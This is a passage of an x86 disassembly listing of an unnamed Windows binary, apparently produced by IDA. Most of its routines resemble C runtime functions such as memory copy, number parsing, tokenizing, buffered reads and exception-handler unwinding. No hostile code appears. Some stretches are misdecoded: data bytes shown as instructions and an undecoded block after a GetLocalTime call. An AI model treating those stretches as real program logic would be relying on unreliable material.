[ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_4143DA loc_4143A1: ; CODE XREF: sub_414383+52j cmp esi, 0FFFFFFFFh jnz short loc_4143AB call sub_418C82 loc_4143AB: ; CODE XREF: sub_414383+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_4143C0 cmp ecx, [eax+8] jle short loc_4143C5 loc_4143C0: ; CODE XREF: sub_414383+36j cmp esi, 0FFFFFFFFh jnz short loc_4143D1 loc_4143C5: ; CODE XREF: sub_414383+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_4143D1: ; CODE XREF: sub_414383+40j cmp [ebp+arg_4], 0 jge short loc_4143A1 mov eax, [ebp+var_4] loc_4143DA: ; CODE XREF: sub_414383+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_4143EE cmp esi, eax jbe short loc_4143F3 loc_4143EE: ; CODE XREF: sub_414383+65j call sub_418C82 loc_4143F3: ; CODE XREF: sub_414383+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_414383 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414400 proc near ; CODE XREF: sub_41AE98+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_414418 push [ebp+arg_0] call sub_41E19C ; RtlUnwind loc_414418: ; DATA XREF: sub_414400+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414400 endp ; =============== S U B R O U T I N E ======================================= sub_414420 proc near ; DATA XREF: sub_414442+Ao ; sub_4144AA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_414441 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_414441: ; CODE XREF: sub_414420+10j retn sub_414420 endp ; =============== S U B R O U T I N E ======================================= sub_414442 proc near ; CODE XREF: sub_4188FF+Dp ; sub_41AE98+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_414420 push large dword ptr fs:0 mov large fs:0, esp loc_41445F: ; CODE XREF: sub_414442:loc_41449Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41449C cmp esi, [esp+1Ch+arg_4] jz short loc_41449C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41449A push 101h mov eax, [ebx+esi*4+8] call sub_4144D6 call dword ptr [ebx+esi*4+8] loc_41449A: ; CODE XREF: sub_414442+44j jmp short loc_41445F ; --------------------------------------------------------------------------- loc_41449C: ; CODE XREF: sub_414442+2Aj ; sub_414442+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_414442 endp ; =============== S U B R O U T I N E ======================================= sub_4144AA proc near ; CODE XREF: sub_41891F+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_414420 jnz short locret_4144CC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4144CC mov eax, 1 locret_4144CC: ; CODE XREF: sub_4144AA+10j ; sub_4144AA+1Bj retn sub_4144AA endp ; =============== S U B R O U T I N E ======================================= sub_4144CD proc near ; CODE XREF: sub_418BE0+1Ep ; sub_418BE0+40p push ebx push ecx mov ebx, offset dword_42D0CC jmp short loc_4144E0 sub_4144CD endp ; =============== S U B R O U T I N E ======================================= sub_4144D6 proc near ; CODE XREF: sub_414442+4Fp ; sub_41AE98+78p push ebx push ecx mov ebx, offset dword_42D0CC mov ecx, [ebp+8] loc_4144E0: ; CODE XREF: sub_4144CD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4144D6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4144F0 proc near ; CODE XREF: sub_403053+5p ; sub_4031F5+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4144F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41450F proc near ; CODE XREF: sub_4036CA+26p ; seg000:0041DF75p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_413ED3 pop ecx retn sub_41450F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414520 proc near ; CODE XREF: sub_40373B+3Ap ; sub_416BB8+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_414540 cmp edi, eax jb loc_4146B8 loc_414540: ; CODE XREF: sub_414520+16j test edi, 3 jnz short loc_41455C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41457C rep movsd jmp ds:off_414668[edx*4] ; --------------------------------------------------------------------------- loc_41455C: ; CODE XREF: sub_414520+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_414574 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41457C+4[eax*4] ; --------------------------------------------------------------------------- loc_414574: ; CODE XREF: sub_414520+46j jmp dword ptr ds:loc_414678[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41457C: ; CODE XREF: sub_414520+31j ; sub_414520+8Ej ... jmp ds:off_4145FC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 45h, 41h, 0 dd offset loc_4145BC dd offset loc_4145E0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41457C rep movsd jmp ds:off_414668[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4145BC: ; DATA XREF: sub_414520+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41457C rep movsd jmp ds:off_414668[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4145E0: ; DATA XREF: sub_414520+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41457C rep movsd jmp ds:off_414668[edx*4] ; --------------------------------------------------------------------------- align 4 off_4145FC dd offset loc_41465F ; DATA XREF: sub_414520:loc_41457Cr dd offset loc_41464C dd offset loc_414644 dd offset loc_41463C dd offset loc_414634 dd offset loc_41462C dd offset loc_414624 dd offset loc_41461C ; --------------------------------------------------------------------------- loc_41461C: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_414624: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41462C: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_414634: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41463C: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_414644: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41464C: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41465F: ; CODE XREF: sub_414520:loc_41457Cj ; DATA XREF: sub_414520:off_4145FCo jmp ds:off_414668[edx*4] ; --------------------------------------------------------------------------- align 4 off_414668 dd offset loc_414678 ; DATA XREF: sub_414520+35r ; sub_414520+92r ... dd offset loc_414680 dd offset loc_41468C dd offset loc_4146A0 ; --------------------------------------------------------------------------- loc_414678: ; CODE XREF: sub_414520+35j ; sub_414520+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_414680: ; CODE XREF: sub_414520+35j ; sub_414520+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41468C: ; CODE XREF: sub_414520+35j ; sub_414520+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4146A0: ; CODE XREF: sub_414520+35j ; sub_414520+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4146B8: ; CODE XREF: sub_414520+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4146EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4146E0 std rep movsd cld jmp ds:off_414800[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4146E0: ; CODE XREF: sub_414520+1B1j ; sub_414520+208j ... neg ecx jmp ds:off_4147B0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4146EC: ; CODE XREF: sub_414520+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_414704 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_414704+4[eax*4] ; --------------------------------------------------------------------------- loc_414704: ; CODE XREF: sub_414520+1D6j ; DATA XREF: sub_414520+1DDr jmp ds:off_414800[ecx*4] ; --------------------------------------------------------------------------- align 4 sbb [edi+41h], al add [eax], bh inc edi inc ecx add [eax+47h], ah inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4146E0 std rep movsd cld jmp ds:off_414800[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4146E0 std rep movsd cld jmp ds:off_414800[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4146E0 std rep movsd cld jmp ds:off_414800[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4147B4 dd offset loc_4147BC dd offset loc_4147C4 dd offset loc_4147CC dd offset loc_4147D4 dd offset loc_4147DC dd offset loc_4147E4 off_4147B0 dd offset loc_4147F7 ; DATA XREF: sub_414520+1C2r ; --------------------------------------------------------------------------- loc_4147B4: ; DATA XREF: sub_414520+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4147BC: ; DATA XREF: sub_414520+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_4147C4: ; DATA XREF: sub_414520+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_4147CC: ; DATA XREF: sub_414520+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4147D4: ; DATA XREF: sub_414520+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4147DC: ; DATA XREF: sub_414520+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4147E4: ; DATA XREF: sub_414520+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4147F7: ; CODE XREF: sub_414520+1C2j ; DATA XREF: sub_414520:off_4147B0o jmp ds:off_414800[edx*4] ; --------------------------------------------------------------------------- align 10h off_414800 dd offset loc_414810 ; DATA XREF: sub_414520+1B7r ; sub_414520:loc_414704r ... dd offset loc_414818 dd offset loc_414828 dd offset loc_41483C ; --------------------------------------------------------------------------- loc_414810: ; CODE XREF: sub_414520+1B7j ; sub_414520:loc_414704j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_414818: ; CODE XREF: sub_414520+1B7j ; sub_414520:loc_414704j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_414828: ; CODE XREF: sub_414520+1B7j ; sub_414520:loc_414704j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41483C: ; CODE XREF: sub_414520+1B7j ; sub_414520:loc_414704j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_414520 endp ; =============== S U B R O U T I N E ======================================= sub_414855 proc near ; CODE XREF: sub_4037A2+34p ; sub_4037A2+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_413E71 pop ecx pop ecx retn sub_414855 endp ; =============== S U B R O U T I N E ======================================= sub_414863 proc near ; CODE XREF: sub_4148D0+4p arg_0 = dword ptr 4 push esi push ds:dword_45FE74 call sub_418CD8 mov edx, ds:dword_45FE74 pop ecx mov ecx, ds:dword_45FE70 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_4148C2 push edx call sub_418CD8 add eax, 10h push eax push ds:dword_45FE74 call sub_41556F add esp, 0Ch test eax, eax jnz short loc_4148A5 retn ; --------------------------------------------------------------------------- loc_4148A5: ; CODE XREF: sub_414863+3Fj mov ecx, ds:dword_45FE70 sub ecx, ds:dword_45FE74 mov ds:dword_45FE74, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_45FE70, ecx loc_4148C2: ; CODE XREF: sub_414863+23j mov eax, [esp+arg_0] mov [ecx], eax add ds:dword_45FE70, 4 retn sub_414863 endp ; =============== S U B R O U T I N E ======================================= sub_4148D0 proc near ; CODE XREF: sub_40388F+1Ap ; sub_41E17E+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_414863 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_4148D0 endp ; =============== S U B R O U T I N E ======================================= sub_4148E2 proc near ; DATA XREF: seg002:00421014o push 80h call sub_413E5F test eax, eax pop ecx mov ds:dword_45FE74, eax jnz short loc_414903 push 18h call sub_415C7E mov eax, ds:dword_45FE74 pop ecx loc_414903: ; CODE XREF: sub_4148E2+12j and dword ptr [eax], 0 mov eax, ds:dword_45FE74 mov ds:dword_45FE70, eax retn sub_4148E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414911 proc near ; CODE XREF: sub_414B19+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_414929: ; CODE XREF: sub_414911+46j cmp ds:dword_42D2FC, 1 jle short loc_414941 movzx eax, bl push 8 push eax call sub_4165E6 pop ecx pop ecx jmp short loc_414950 ; --------------------------------------------------------------------------- loc_414941: ; CODE XREF: sub_414911+1Fj mov ecx, ds:off_42D0F0 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_414950: ; CODE XREF: sub_414911+2Ej test eax, eax jz short loc_414959 mov bl, [esi] inc esi jmp short loc_414929 ; --------------------------------------------------------------------------- loc_414959: ; CODE XREF: sub_414911+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_414967 or [ebp+arg_C], 2 jmp short loc_41496C ; --------------------------------------------------------------------------- loc_414967: ; CODE XREF: sub_414911+4Ej cmp bl, 2Bh jnz short loc_414972 loc_41496C: ; CODE XREF: sub_414911+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_414972: ; CODE XREF: sub_414911+59j mov eax, [ebp+arg_8] test eax, eax jl loc_414B09 cmp eax, 1 jz loc_414B09 cmp eax, 24h jg loc_414B09 push 10h test eax, eax pop ecx jnz short loc_4149BA cmp bl, 30h jz short loc_4149A4 mov [ebp+arg_8], 0Ah jmp short loc_4149D6 ; --------------------------------------------------------------------------- loc_4149A4: ; CODE XREF: sub_414911+88j mov al, [esi] cmp al, 78h jz short loc_4149B7 cmp al, 58h jz short loc_4149B7 mov [ebp+arg_8], 8 jmp short loc_4149D6 ; --------------------------------------------------------------------------- loc_4149B7: ; CODE XREF: sub_414911+97j ; sub_414911+9Bj mov [ebp+arg_8], ecx loc_4149BA: ; CODE XREF: sub_414911+83j cmp [ebp+arg_8], ecx jnz short loc_4149D6 cmp bl, 30h jnz short loc_4149D6 mov al, [esi] cmp al, 78h jz short loc_4149CE cmp al, 58h jnz short loc_4149D6 loc_4149CE: ; CODE XREF: sub_414911+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4149D6: ; CODE XREF: sub_414911+91j ; sub_414911+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_4149E6: ; CODE XREF: sub_414911+16Cj cmp ds:dword_42D2FC, 1 movzx esi, bl jle short loc_4149FE push 4 push esi call sub_4165E6 pop ecx pop ecx jmp short loc_414A09 ; --------------------------------------------------------------------------- loc_4149FE: ; CODE XREF: sub_414911+DFj mov eax, ds:off_42D0F0 mov al, [eax+esi*2] and eax, 4 loc_414A09: ; CODE XREF: sub_414911+EBj test eax, eax jz short loc_414A15 movsx ecx, bl sub ecx, 30h jmp short loc_414A47 ; --------------------------------------------------------------------------- loc_414A15: ; CODE XREF: sub_414911+FAj cmp ds:dword_42D2FC, 1 jle short loc_414A29 push edi push esi call sub_4165E6 pop ecx pop ecx jmp short loc_414A34 ; --------------------------------------------------------------------------- loc_414A29: ; CODE XREF: sub_414911+10Bj mov eax, ds:off_42D0F0 mov ax, [eax+esi*2] and eax, edi loc_414A34: ; CODE XREF: sub_414911+116j test eax, eax jz short loc_414A82 movsx eax, bl push eax call sub_418D01 pop ecx mov ecx, eax sub ecx, 37h loc_414A47: ; CODE XREF: sub_414911+102j cmp ecx, [ebp+arg_8] jnb short loc_414A82 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_414A6C jnz short loc_414A66 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_414A6C loc_414A66: ; CODE XREF: sub_414911+147j or [ebp+arg_C], 4 jmp short loc_414A75 ; --------------------------------------------------------------------------- loc_414A6C: ; CODE XREF: sub_414911+145j ; sub_414911+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_414A75: ; CODE XREF: sub_414911+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_4149E6 ; --------------------------------------------------------------------------- loc_414A82: ; CODE XREF: sub_414911+125j ; sub_414911+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_414AA0 test edx, edx jz short loc_414A9A mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_414A9A: ; CODE XREF: sub_414911+181j and [ebp+var_8], 0 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414AA0: ; CODE XREF: sub_414911+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_414AC6 test cl, 1 jnz short loc_414AED and ecx, 2 jz short loc_414ABD cmp [ebp+var_8], 80000000h ja short loc_414AC6 loc_414ABD: ; CODE XREF: sub_414911+1A1j test ecx, ecx jnz short loc_414AED cmp [ebp+var_8], eax jbe short loc_414AED loc_414AC6: ; CODE XREF: sub_414911+197j ; sub_414911+1AAj test byte ptr [ebp+arg_C], 1 mov ds:dword_45E804, 22h jz short loc_414ADC or [ebp+var_8], 0FFFFFFFFh jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADC: ; CODE XREF: sub_414911+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_414AED: ; CODE XREF: sub_414911+18Dj ; sub_414911+19Cj ... test edx, edx jz short loc_414AF6 mov eax, [ebp+var_4] mov [edx], eax loc_414AF6: ; CODE XREF: sub_414911+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_414B04 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_414B04: ; CODE XREF: sub_414911+1E9j mov eax, [ebp+var_8] jmp short loc_414B14 ; --------------------------------------------------------------------------- loc_414B09: ; CODE XREF: sub_414911+66j ; sub_414911+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_414B12 mov [eax], edi loc_414B12: ; CODE XREF: sub_414911+1FDj xor eax, eax loc_414B14: ; CODE XREF: sub_414911+1F6j pop edi pop esi pop ebx leave retn sub_414911 endp ; =============== S U B R O U T I N E ======================================= sub_414B19 proc near ; CODE XREF: seg000:00403D6Ep ; seg000:0040E99Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_414911 add esp, 10h retn sub_414B19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B30 proc near ; CODE XREF: seg000:00403B17p ; seg000:00403D1Bp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_413DB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_418DCD add esp, 10h leave retn sub_414B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B64 proc near ; CODE XREF: seg000:004038FFp var_20 = byte ptr -20h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call ds:dword_41F054 ; GetLocalTime lea eax, [ebp+var_20] push eax call near ptr 0A70000h retn 8B66h sub_414B64 endp ; --------------------------------------------------------------------------- db 45h dd 53B66EAh, 45E7FAh, 8B663B75h, 3B66E845h, 45E7F805h dd 662E7500h, 66E6458Bh, 0E7F6053Bh, 21750045h, 0E2458B66h dd 0F2053B66h, 750045E7h, 458B6614h, 53B66E0h, 45E7F0h dd 0E8A10775h, 0EB0045E7h, 34858D45h, 50FFFFFFh, 65B42BE8h dd 0F883C900h, 831B74FFh, 127502F8h, 0CE7D8366h, 830B7400h dd 7400DC7Dh, 58016A05h, 0C03307EBh, 0C88303EBh, 8D5756FFh dd 0F0BFE075h, 0A50045E7h, 5FA5A5A5h, 45E7E8A3h, 0F505E00h dd 50FC45B7h, 0FA45B70Fh, 45B70F50h, 0B70F50F8h, 0F50F645h dd 50F245B7h, 0F045B70Fh, 4C4CE850h, 4D8B0000h, 1CC48308h dd 274C985h, 0C3C90189h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C40 proc near ; CODE XREF: sub_403F31+4Ep ; seg000:004053F4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_414C64 xor eax, eax jmp loc_414D0D ; --------------------------------------------------------------------------- loc_414C64: ; CODE XREF: sub_414C40+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_414C77 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_414C83 ; --------------------------------------------------------------------------- loc_414C77: ; CODE XREF: sub_414C40+2Dj mov [ebp+arg_C], 1000h jmp short loc_414C83 ; --------------------------------------------------------------------------- loc_414C80: ; CODE XREF: sub_414C40+C4j mov ecx, [ebp+arg_0] loc_414C83: ; CODE XREF: sub_414C40+35j ; sub_414C40+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_414CB5 mov eax, [esi+4] test eax, eax jz short loc_414CB5 cmp ecx, eax mov edi, ecx jb short loc_414C9A mov edi, eax loc_414C9A: ; CODE XREF: sub_414C40+56j push edi push dword ptr [esi] push ebx call sub_413690 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_414D00 ; --------------------------------------------------------------------------- loc_414CB5: ; CODE XREF: sub_414C40+49j ; sub_414C40+50j cmp ecx, [ebp+arg_C] jb short loc_414CE8 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_414CCB xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_414CCB: ; CODE XREF: sub_414C40+80j push eax push ebx push dword ptr [esi+10h] call sub_419A19 add esp, 0Ch test eax, eax jz short loc_414D12 cmp eax, 0FFFFFFFFh jz short loc_414D18 sub [ebp+arg_0], eax add ebx, eax jmp short loc_414D00 ; --------------------------------------------------------------------------- loc_414CE8: ; CODE XREF: sub_414C40+78j push esi call sub_419940 cmp eax, 0FFFFFFFFh pop ecx jz short loc_414D1C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_414D00: ; CODE XREF: sub_414C40+73j ; sub_414C40+A6j cmp [ebp+arg_0], 0 jnz loc_414C80 mov eax, [ebp+arg_8] loc_414D0D: ; CODE XREF: sub_414C40+1Fj ; sub_414C40+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_414D12: ; CODE XREF: sub_414C40+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_414D1C ; --------------------------------------------------------------------------- loc_414D18: ; CODE XREF: sub_414C40+9Fj or dword ptr [esi+0Ch], 20h loc_414D1C: ; CODE XREF: sub_414C40+B2j ; sub_414C40+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_414D0D sub_414C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D28 proc near ; CODE XREF: sub_403FCB+2B2p ; seg000:004046A9p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_414D41: ; CODE XREF: sub_414D28+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_414D41 mov edx, [ebp+arg_0] test edx, edx jnz short loc_414D69 mov edx, ds:dword_45E800 loc_414D69: ; CODE XREF: sub_414D28+39j ; sub_414D28+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_414D89 test al, al jz short loc_414D89 inc edx jmp short loc_414D69 ; --------------------------------------------------------------------------- loc_414D89: ; CODE XREF: sub_414D28+58j ; sub_414D28+5Cj mov ebx, edx loc_414D8B: ; CODE XREF: sub_414D28+81j mov al, [edx] test al, al jz short loc_414DAF movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_414DAB inc edx jmp short loc_414D8B ; --------------------------------------------------------------------------- loc_414DAB: ; CODE XREF: sub_414D28+7Ej and byte ptr [edx], 0 inc edx loc_414DAF: ; CODE XREF: sub_414D28+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov ds:dword_45E800, edx and eax, ebx pop ebx leave retn sub_414D28 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414DD0 proc near ; CODE XREF: sub_404858+1B4p ; sub_407E52+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword 